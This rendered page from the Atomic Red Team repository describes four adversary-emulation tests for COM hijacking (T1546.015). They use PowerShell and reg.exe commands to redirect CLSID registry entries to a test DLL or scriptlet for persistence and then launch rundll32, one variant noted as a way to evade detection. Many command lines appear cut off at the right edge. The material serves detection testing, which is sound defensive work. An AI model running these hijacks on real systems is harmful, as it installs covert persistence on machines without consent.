Sign in

redcanaryco / atomic-red-team Public

Notifications Fork 2.8k Star 9.7k

Code Issues 6 Pull requests 5 Actions Wiki Security Insights

atomic-red-team / atomics / T1546.015 / T1546.015.md

224 lines (132 loc) · 9 KB

Preview Code Blame Raw

T1546.015 - Component Object Model Hijacking

Description from ATT&CK

> Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

Atomic Tests

- Atomic Test #1 - COM Hijacking - InprocServer32
- Atomic Test #2 - Powershell Execute COM Object
- Atomic Test #3 - COM Hijacking with RunDLL32 (Local Server Switch)
- Atomic Test #4 - COM hijacking via TreatAs

Atomic Test #1 - COM Hijacking - InprocServer32

This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.

Reference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/

Supported Platforms: Windows

auto_generated_guid: 48117158-d7be-441b-bc6a-d9e36e47b52b

Inputs:

Name	Description	Type	Default Value
clsid_threading	Threading Model	string	Apartment
dllpath	Path to the DLL.	String	$env:TEMP\AtomicTest.dll
clsid	Class ID to hijack.	string	{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}
clsid_description	Description for CLSID	string	MSAA AccPropServices

Attack Commands: Run with `powershell`!

```
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value #{dllp
New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name
Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-sta #{cl
```

Cleanup Commands:

```
Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Recurse -ErrorAction Ign
```

Dependencies: Run with `powershell`!

Description: DLL For testing

Check Prereq Commands:

```
if (Test-Path #{dllpath}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomic
```

Atomic Test #2 - Powershell Execute COM Object

Use the PowerShell to execute COM CLSID object. Reference: https://pentestlab.blog/2020/05/20/persistence-com-hijacking/

Supported Platforms: Windows

auto_generated_guid: 752191b1-7c71-445c-9dbe-21bb031b18eb

Attack Commands: Run with `powershell`!

```
$o= [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-0
$item = $o.Item()
```

```
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system
```

Cleanup Commands:

```
Get-Process -Name "*calc" | Stop-Process
```

Atomic Test #3 - COM Hijacking with RunDLL32 (Local Server Switch)

This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via "rundll32.exe -localserver [clsid]". This method is generally used as an alternative to 'rundll32.exe -sta [clsid]' to execute dll's while evading detection. Reference: https://www.hexacorn.com/blog/2020/02/13/run-lola-bin-run/ Upon successful execution of this test with the default options, whenever certain apps are opened (for example, Notepad), a calculator window will also be opened.

Supported Platforms: Windows

auto_generated_guid: 123520cc-e998-471b-a920-bd28e3feafa0

Inputs:

Name	Description	Type	Default Value
clsid_threading	Threading Model	string	Both
dll_path	Path to the DLL.	String	$env:temp\T1546.015_calc.dll
clsid	Class ID to hijack.	string	{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}
clsid_description	Description for CLSID	string	MSAA AccPropServices

Attack Commands: Run with `powershell`!

```
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value #{dll_
New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Nam
Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-localse
```

Cleanup Commands:

```
Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Recurse -ErrorAction Ig
```

Dependencies: Run with `powershell`!

Description: DLL For testing

Check Prereq Commands:

```
if (Test-Path #{dll_path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomi
```

Atomic Test #4 - COM hijacking via TreatAs

This test first create a custom CLSID class pointing to the Windows Script Component runtime DLL. This DLL looks for the ScriptletURL key to get the location of the script to execute. Then, it hijacks the CLSID for the Work Folders Logon Synchronization to establish persistence on user logon by creating the 'TreatAs' with the malicious CLSID as default value. The test is validated by running 'rundll32.exe -sta "AtomicTest"' to avoid logging out.

References:

https://youtu.be/3gz1QmiMhss?t=1251

https://github.com/enigma0x3/windows-operating-system-archaeology

Supported Platforms: Windows

auto_generated_guid: 33eacead-f117-4863-8eb0-5c6304fbfaa9

Attack Commands: Run with `powershell`!

```
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest" /ve /T REG_SZ /d "AtomicTes
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest.1.00" /ve /T REG_SZ /d "Atom
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest\CLSID" /ve /T REG_SZ /d "{00
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest.1.00\CLSID" /ve /T REG_SZ /
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEED
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEED
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEED
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEED
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEED
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEED
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEED

reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30

rundll32.exe -sta "AtomicTest"
```

Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest" /f
reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000
reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7
```